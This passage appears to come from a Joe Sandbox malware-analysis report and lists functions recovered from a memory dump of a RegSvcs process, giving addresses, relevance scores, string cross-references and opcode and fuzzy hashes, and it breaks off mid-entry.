
Executed
Not Executed

Strings

$^q, xrefs: 06A9AF14
$^q, xrefs: 06A9AE69
$^q, xrefs: 06A9AF20
$^q, xrefs: 06A9AEC8
$^q, xrefs: 06A9AEF7
$^q, xrefs: 06A9AE75
$^q, xrefs: 06A9AEEB
$^q, xrefs: 06A9AEBC

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: f148a8f70563017365884663d657bc31471ea07cf97862f60cc6f7be7a20a961
Instruction ID: 2207bd056d5f9189b9aff775f0474ae429edbd6f47dff1a3b9e506d7a8791692
Opcode Fuzzy Hash: f148a8f70563017365884663d657bc31471ea07cf97862f60cc6f7be7a20a961
Instruction Fuzzy Hash: 76E15D71E0021A8FDF59EF68D4906AEB7F2FF85304F20852AD5059B354EB31D846CBA1

Function 06A9B6C8 Relevance: 8.0, Strings: 6, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06A9BBE3
$^q, xrefs: 06A9BBEF
$^q, xrefs: 06A9BC23
$^q, xrefs: 06A9BC57
$^q, xrefs: 06A9BC4B
$^q, xrefs: 06A9BC17

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 3b46e1a0b22ff18694df49d65e8de2912aed540798b8209dcabcd7c8a5faadeb
Instruction ID: ed72bde99ea8c797fbbfcd54ffb24e7b4c484be00a765b439f9268bdc49bcbf0
Opcode Fuzzy Hash: 3b46e1a0b22ff18694df49d65e8de2912aed540798b8209dcabcd7c8a5faadeb
Instruction Fuzzy Hash: 25025D30E102098FDFA4EFA9E5946AEB7F1FB45310F24892AD409DF255DB31E845CBA1

Function 06A991D0 Relevance: 5.2, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06A99223
$^q, xrefs: 06A99217
$^q, xrefs: 06A9925E
$^q, xrefs: 06A99252

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: f4158882a2f811ca5e43f76840170a1ddee85f887fdeb4934516cc0cd4c5550f
Instruction ID: 2207858f3f924cca93c66464dc10d70f6352683ca975501fd2636396cfd7531c
Opcode Fuzzy Hash: f4158882a2f811ca5e43f76840170a1ddee85f887fdeb4934516cc0cd4c5550f
Instruction Fuzzy Hash: 1A914F70F0021A9FDF54EF65D8A07AFB3F6ABC9244F148569C40DEB354EA709C468BA1

Function 06A9CFB8 Relevance: 4.6, Strings: 3, Instructions: 800
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06A9D3C3
$^q, xrefs: 06A9D3B7
$^q, xrefs: 06A9D3AF

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q
API String ID: 0-831282457
Opcode ID: 0ee31d27d5dbd2ce9cfd2c7553c5c27e31235b30c83a62bbeb65df0368da4139
Instruction ID: f2dc0a7aabdf51b1e46bd1c7c72ab6de2e0b5c86490ba0e63a094a44d0a47e6b
Opcode Fuzzy Hash: 0ee31d27d5dbd2ce9cfd2c7553c5c27e31235b30c83a62bbeb65df0368da4139
Instruction Fuzzy Hash: 5A623E34A0060A8FCB55EF69D590A5EB7F2FF84304F208969D0099F369DB71ED86CB91

Function 06A94BE0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\Ocq, xrefs: 06A94DBB
fcq, xrefs: 06A94C0B
XPcq, xrefs: 06A94D31

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: fcq$XPcq$\Ocq
API String ID: 0-3575482020
Opcode ID: 0e2ddc4a73412e8ea7eb36cf7040e399adde255d719d8159663a445f2395d1c2
Instruction ID: 61444539161a3ee34a1576ea303e77997c9f47d61d0b59a01a2bc71194ca5e40
Opcode Fuzzy Hash: 0e2ddc4a73412e8ea7eb36cf7040e399adde255d719d8159663a445f2395d1c2
Instruction Fuzzy Hash: 3B617170F002099FEF55AFB5D8547AEBBF6FB88700F20842AD105AB395DB758C068B91

Function 06A991BF Relevance: 2.7, Strings: 2, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 06A99217
$^q, xrefs: 06A99252

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: 48fbbe24c02761e4402fbab7d8e4d988ac74c9ec2facfef87fa062df11a07147
Instruction ID: 121cf90a68ef3faa01908b6f29f1b1af03c473c563fdc1f746a54cc21c489826
Opcode Fuzzy Hash: 48fbbe24c02761e4402fbab7d8e4d988ac74c9ec2facfef87fa062df11a07147
Instruction Fuzzy Hash: C4514270B00109AFDF54EB75E9A0BAFB3F6AB89644F148569C509DB354EA30DC428BA1

Function 06A94BD0 Relevance: 2.6, Strings: 2, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fcq, xrefs: 06A94C0B
XPcq, xrefs: 06A94D31

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: fcq$XPcq
API String ID: 0-936005338
Opcode ID: ca39230bb0cd90faf87b52c19c4f43323df62f383e6610b2a43a662538def9bb
Instruction ID: a03a91114d896d9ede911e97ca41aff39c57f945c04c1f448a47095652aac6f4
Opcode Fuzzy Hash: ca39230bb0cd90faf87b52c19c4f43323df62f383e6610b2a43a662538def9bb
Instruction Fuzzy Hash: 9F516F70F102099FEF55AFB5C4547AEBAF6FF88700F20852AD106AB395DA718C028B91

Function 0153EC39 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1803815712.0000000001530000.00000040.00000800.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1530000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49cd9d4cce26b99d4d704ec919fcdc4af9654a35bd2a973034ea9421872c1b4c
Instruction ID: eee709fceddf11c942d66d648e209a5387f82b28229b02ebff1ab88ef3ea31e0
Opcode Fuzzy Hash: 49cd9d4cce26b99d4d704ec919fcdc4af9654a35bd2a973034ea9421872c1b4c
Instruction Fuzzy Hash: 60412372D0039A8FCB00EF7AD8042DEBFF1AFC9310F14856AD544A7291DB349845CBA1

Function 0153ED20 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0153ED87

Memory Dump Source

Source File: 00000008.00000002.1803815712.0000000001530000.00000040.00000800.00020000.00000000.sdmp, Offset: 01530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1530000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: bdeb5bace36edf5b0c60ce43a7888b200314a912ade1b3b6592efa18b71a9507
Instruction ID: eabb782c88cf2a7431d531caf51de2e4121c9413308c7fa608f9adfbc2ffdbec
Opcode Fuzzy Hash: bdeb5bace36edf5b0c60ce43a7888b200314a912ade1b3b6592efa18b71a9507
Instruction Fuzzy Hash: 04111FB1C002699BCB10DFAAC444BDEFBF4FB48320F10852AE818A7250D378A944CFA5

Function 06A9DB2D Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06A9DC89

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: ab25b3633ae119b4928af086ac623ed7f20d2f018c2801f0c0b25e893d48dd0e
Instruction ID: bcc3dc5a59dad8996f18e2e1e1653a30e4c48a10a3052bcbef65a679c7c6a18e
Opcode Fuzzy Hash: ab25b3633ae119b4928af086ac623ed7f20d2f018c2801f0c0b25e893d48dd0e
Instruction Fuzzy Hash: 26418F70E006099FDF65EFB5D45469EBBF2BF85200F20452AE405EB245DBB0E986CBA1

Function 06A92267 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06A923B3

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: e8f6eee47a15bd50f629a2c8b7a7c04233123804e74113105b4a7b256f13f84c
Instruction ID: 46bf5df72e5c1c1ee89ce91a95c7eebc2cea55c62645ef2dcf7b86501e790d0d
Opcode Fuzzy Hash: e8f6eee47a15bd50f629a2c8b7a7c04233123804e74113105b4a7b256f13f84c
Instruction Fuzzy Hash: 5C31ED70B102019FDB95AF74D55426FBBE2AB89600F208568E406DF395EE75CE02CBA1

Function 06A92278 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06A923B3

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: bc6318700c1c3691461629189bc319ee8a721bee3a1f96b1ba4f0e2565302591
Instruction ID: ab892afc25ec4d7bf9c54ea7a194b76c707925c0bac8ad5fa515de61ae8a8ec4
Opcode Fuzzy Hash: bc6318700c1c3691461629189bc319ee8a721bee3a1f96b1ba4f0e2565302591
Instruction Fuzzy Hash: D4310F70B102059FDF99AB74D45436FBBE3AB89600F208528D406DF398EE75DD02CBA2

Function 06A923F0 Relevance: 1.0, Instructions: 996COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a94c0bcdd4727078710ff3001010d6ca74b7bbbe0cadb7286a1ef53cde8982
Instruction ID: 629d1e90db7b2e63d92031c46cd234772d70e458d1a9ffda33fe7938bac7092e
Opcode Fuzzy Hash: 54a94c0bcdd4727078710ff3001010d6ca74b7bbbe0cadb7286a1ef53cde8982
Instruction Fuzzy Hash: 68925634A102049FDF64EB68C584B6DB7F2FB45314F2484A9D40AAF365DB35ED86CBA0

Function 06A9C1F0 Relevance: .6, Instructions: 639COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d5c87120392e64d61642b754e10a9b794bcf46f60169ceeb32e39b2cad39d45
Instruction ID: 6c69e25afabb56d9c8fd844d977145129c4161ede36957d77a563d15c97d933e
Opcode Fuzzy Hash: 0d5c87120392e64d61642b754e10a9b794bcf46f60169ceeb32e39b2cad39d45
Instruction Fuzzy Hash: 1E328434B006099FDF54EB68D590AAEB7F2FB88310F208525D506EB355DB35EC46CBA1

Function 06A96DA0 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b4b0fa862a09a9a2f9282689559a81f7c875878c8fc431ee34d5d12803976c5
Instruction ID: 0a56ae3e9e34bcce8ff403b60a84206bf5b84cd2bb836d18b46c0f03fa409b5e
Opcode Fuzzy Hash: 4b4b0fa862a09a9a2f9282689559a81f7c875878c8fc431ee34d5d12803976c5
Instruction Fuzzy Hash: C4A16930A102048FDF64EB69D594A5EB7F2FF84314F648469E41AAB355DB32EC46CBA0

Function 06A96268 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9311b72b4185a79fa4358d32c3fe0bbb1ed034b9e42b0666637a122b58aaac7
Instruction ID: e624b384b6b85376b62823246e9c761054fd196283db7c593d084e23fef1ef90
Opcode Fuzzy Hash: d9311b72b4185a79fa4358d32c3fe0bbb1ed034b9e42b0666637a122b58aaac7
Instruction Fuzzy Hash: 9D61BC71F000214FDF54AB7AC89466FAADBAFC4620B25447AD80EDB364DEB5DD0287D2

Function 06A94311 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d04931a257545b691009fbe34fa5b1ee805fb3301270044f27c42f15442196b7
Instruction ID: 2444004c013caf168ab75ebf50e9e575a9eb1fdb49769a72cc714284be655f2f
Opcode Fuzzy Hash: d04931a257545b691009fbe34fa5b1ee805fb3301270044f27c42f15442196b7
Instruction Fuzzy Hash: A9813C31B002099FDF54EFA9D49466EB7F2EF89304F208429D50ADB394EA30DC478B51

Function 06A94634 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a305e9d484e61cde4f7b337a31e8b9b3c1065843acdef595a1d658310bdcaa
Instruction ID: 5271e89ab261810a8c7081baaf995b425ed129e5be3d98c9b9354400d220f6df
Opcode Fuzzy Hash: d1a305e9d484e61cde4f7b337a31e8b9b3c1065843acdef595a1d658310bdcaa
Instruction Fuzzy Hash: 38913E34E1021A8FDF64DF68C890B9DB7B1FF89300F208599D549AB355DB70AA86CF91

Function 06A94648 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5f91c78dbc822eabd8840212613026f4dd7d27a7e45c27e0e3994a76b3798b
Instruction ID: 5a687c9d31d4b80ba0080bb8a4661b75b3bdb9461a8138177d096cd074db3c39
Opcode Fuzzy Hash: 8f5f91c78dbc822eabd8840212613026f4dd7d27a7e45c27e0e3994a76b3798b
Instruction Fuzzy Hash: 9B913F34E1021A8BDF64DF68C880B9DB7B1FF89300F20C599D549AB354DB70A986CF91

Function 06A9EB80 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a110bda4a2156902ab9d61ca0f32907ff1459ccec761eb4141799e174af8b811
Instruction ID: 43ad731f80c03e0c4dfbc9e0f149b493f87256e4ebfd9756cdde9894086e1e1d
Opcode Fuzzy Hash: a110bda4a2156902ab9d61ca0f32907ff1459ccec761eb4141799e174af8b811
Instruction Fuzzy Hash: 78710970A002199FDF54EFA9D990A9EBBF6FF88300F248569D405EB355DB30E846CB50

Function 06A9EB90 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96634ed429a7f68c792edc46ffb79a7269ca6949dcc8732ed57afded34ff9b52
Instruction ID: 4a2b2ffd9de9f8768a6134a93536d37a03dc833f6d8f747f555a1f776bee7536
Opcode Fuzzy Hash: 96634ed429a7f68c792edc46ffb79a7269ca6949dcc8732ed57afded34ff9b52
Instruction Fuzzy Hash: A9710A71A002199FDF54EFA9D990A9EBBF6FF88300F248469D405EB365DB30E946CB50

Function 06A9FCF1 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a00133d65f5be2a95742e415d20a6ac8bd83068d33e341f3bb56714d89e29f98
Instruction ID: 4ff92373df3675892fee8406b0297d16a72cef4de1c521c48636dfccfb1a0347
Opcode Fuzzy Hash: a00133d65f5be2a95742e415d20a6ac8bd83068d33e341f3bb56714d89e29f98
Instruction Fuzzy Hash: 3151F031A01205DFDF64FBB8E4442ADBBF2FB85315F208869E11ADB251DB318846CBA0

Function 06A9FAA0 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b30ef349c0652d476fd37638f8e3e5f2dd761b47af75571f7bf6da6096abd0f4
Instruction ID: d7830265a8c28ce9003db54feeca593fd554461d7fb5ee656fb121732be66777
Opcode Fuzzy Hash: b30ef349c0652d476fd37638f8e3e5f2dd761b47af75571f7bf6da6096abd0f4
Instruction Fuzzy Hash: 3B51CB30B11314DFEF647B6CD96476F36AED789310F30482AD50ADB3A9CA69CC4587A2

Function 06A9FAB0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d4f2410f41ad1af88fce3c6a98868b9ce2b1498abc62be1172960840561d3f
Instruction ID: af24aa90ead33041db69bff1345ff0fa745f67f43dc1a86f00a82d45f28fd8e2
Opcode Fuzzy Hash: 61d4f2410f41ad1af88fce3c6a98868b9ce2b1498abc62be1172960840561d3f
Instruction Fuzzy Hash: 9951BA30B10318DFEF647B6CD9A472F369ED789310F30482AD50ADB799CA69DC4547A2

Function 06A95488 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8bec318004b6a3d196cbdd41630c164242c6f20a854b222fdee752053cbfa5d
Instruction ID: 62ab29616e8391d9a04b1b74d8fcba66d26b8e6701a7b517dc9fdc3a27b71819
Opcode Fuzzy Hash: a8bec318004b6a3d196cbdd41630c164242c6f20a854b222fdee752053cbfa5d
Instruction Fuzzy Hash: 59417C71E006098FDF61DFA9C9C1AAFF7F2EB84310F20492AD116DB251D330E8558BA1

Function 06A92128 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd3974b679ba785bf7fd0a19138d3c7cb04d560c6082e31bcd88f55a3a64ad5a
Instruction ID: eac9a93592b83b884077df0c28e3d873ab024761d91132b6dcba19a5c7fca93d
Opcode Fuzzy Hash: dd3974b679ba785bf7fd0a19138d3c7cb04d560c6082e31bcd88f55a3a64ad5a
Instruction Fuzzy Hash: FD314F34E202069FDB59DFA4D45469EB7F2BF89300F20C519E906AB750DB719D46CB50

Function 06A92138 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef1297996d5f7666b262626d977d7aaf61cd31ed3d4916ff0d54961787dafd61
Instruction ID: 2c37aab2a30261b4c95bbdbb97722810f535b8a25d5db8f886def7a608283072
Opcode Fuzzy Hash: ef1297996d5f7666b262626d977d7aaf61cd31ed3d4916ff0d54961787dafd61
Instruction Fuzzy Hash: 92315034E202069BDF59EFA5D85469EB7F2BF89300F208519E906EB350DB71AD46CB60

Function 06A93B10 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9d237681c2ef48c171c8d33b48e9e95e31e5d8f9cb4bc8ca75d79d6dc6f19e1
Instruction ID: b55bc27f2f7044b4135a282f0f8a630961db20360a284087c1c699c05f03b79b
Opcode Fuzzy Hash: e9d237681c2ef48c171c8d33b48e9e95e31e5d8f9cb4bc8ca75d79d6dc6f19e1
Instruction Fuzzy Hash: 2D217FB5F006199FDF50EFB9D890AAEBBF5EB48710F108065E905EB384E734D8418BA5

Function 06A93B20 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145d24c792bdd4c98e96a041b6d785fa20c1c65c6b94dc8d285ef1d1321c8021
Instruction ID: 1b30739b87a119264aaeda9660dc217f9441242ab3f439d6d882719421e2ff1e
Opcode Fuzzy Hash: 145d24c792bdd4c98e96a041b6d785fa20c1c65c6b94dc8d285ef1d1321c8021
Instruction Fuzzy Hash: 0021AEB5F006199FDF40EFA9D890AAEB7F1EB48710F208025E905EB384E730DC018BA1

Function 06A96D89 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef34b295a0fbac9560a87ecf895f8b7a2f3839812ef240ec79467e98b6ccab9d
Instruction ID: 6749bcace2a0aa5374b9b4cd9e46cc1e4009864967f50825e158412babc1d2f9
Opcode Fuzzy Hash: ef34b295a0fbac9560a87ecf895f8b7a2f3839812ef240ec79467e98b6ccab9d
Instruction Fuzzy Hash: 5C21B031B102099FDF94EB68E8906AEB7F6EF85310F24852AE405DB344D731EC51CB95

Function 06A93C30 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff358d2075991a8487d10bb0cf79488915c46765db3cb822fd3f3e0bbb14c3cb
Instruction ID: e83190571da3ee16aa3dc90128cb2ecb04c1847c9429e7ddba4ef202fba25726
Opcode Fuzzy Hash: ff358d2075991a8487d10bb0cf79488915c46765db3cb822fd3f3e0bbb14c3cb
Instruction Fuzzy Hash: 0211A535B145285FDF54AA68D854AAF73FAABC8311F104535D40AE7344EE25EC0687A1

Function 06A94270 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ffebae9b015a10dbf05428580763243bd95008c307e7fa22b7b8f22e351511
Instruction ID: b5cce5ac5cd4bed81840125d57d4a57a49078acf383827993d071bdb062b50be
Opcode Fuzzy Hash: 62ffebae9b015a10dbf05428580763243bd95008c307e7fa22b7b8f22e351511
Instruction Fuzzy Hash: 9401B132B006104FDBA5AABDA41072BB7DAEBCE710F24887EE10ACF395D961DC024795

Function 06A93C20 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4222f695be139a06123e90b3a307a5077f9e6e4150aa84b6d226feb37743e0a1
Instruction ID: f08f7340dcddf75689d327c9ad3fb5bd07326bb12a04341feefa1f27706997e4
Opcode Fuzzy Hash: 4222f695be139a06123e90b3a307a5077f9e6e4150aa84b6d226feb37743e0a1
Instruction Fuzzy Hash: 9E017536B140285BDF54EA79DC54AEB77FAABC8711F104036E51AD7244EF21AC0687E2

Function 06A9EE01 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42af497d5084de284a9d14ca6051fa30407e40042c6d6246f5085582c3217b00
Instruction ID: e496c442f6e000698eb8ddeae7ca2fac752562db07d32184192647d8a0854e29
Opcode Fuzzy Hash: 42af497d5084de284a9d14ca6051fa30407e40042c6d6246f5085582c3217b00
Instruction Fuzzy Hash: 49017135B001116FDB65E76DA45072A76D6FBCA610F24842AE50ACF342D925EC0347A6

Function 06A9A380 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1812857969.0000000006A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6a90000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 326a567d95d6508b5307575f07c0f934281a49bff1b9e0233e61e0852e1c58f8
Instruction ID: 93c20f1befcfdb6662ef411fdef55bb0535a5f8158d1966112b7dbd75faa00e2
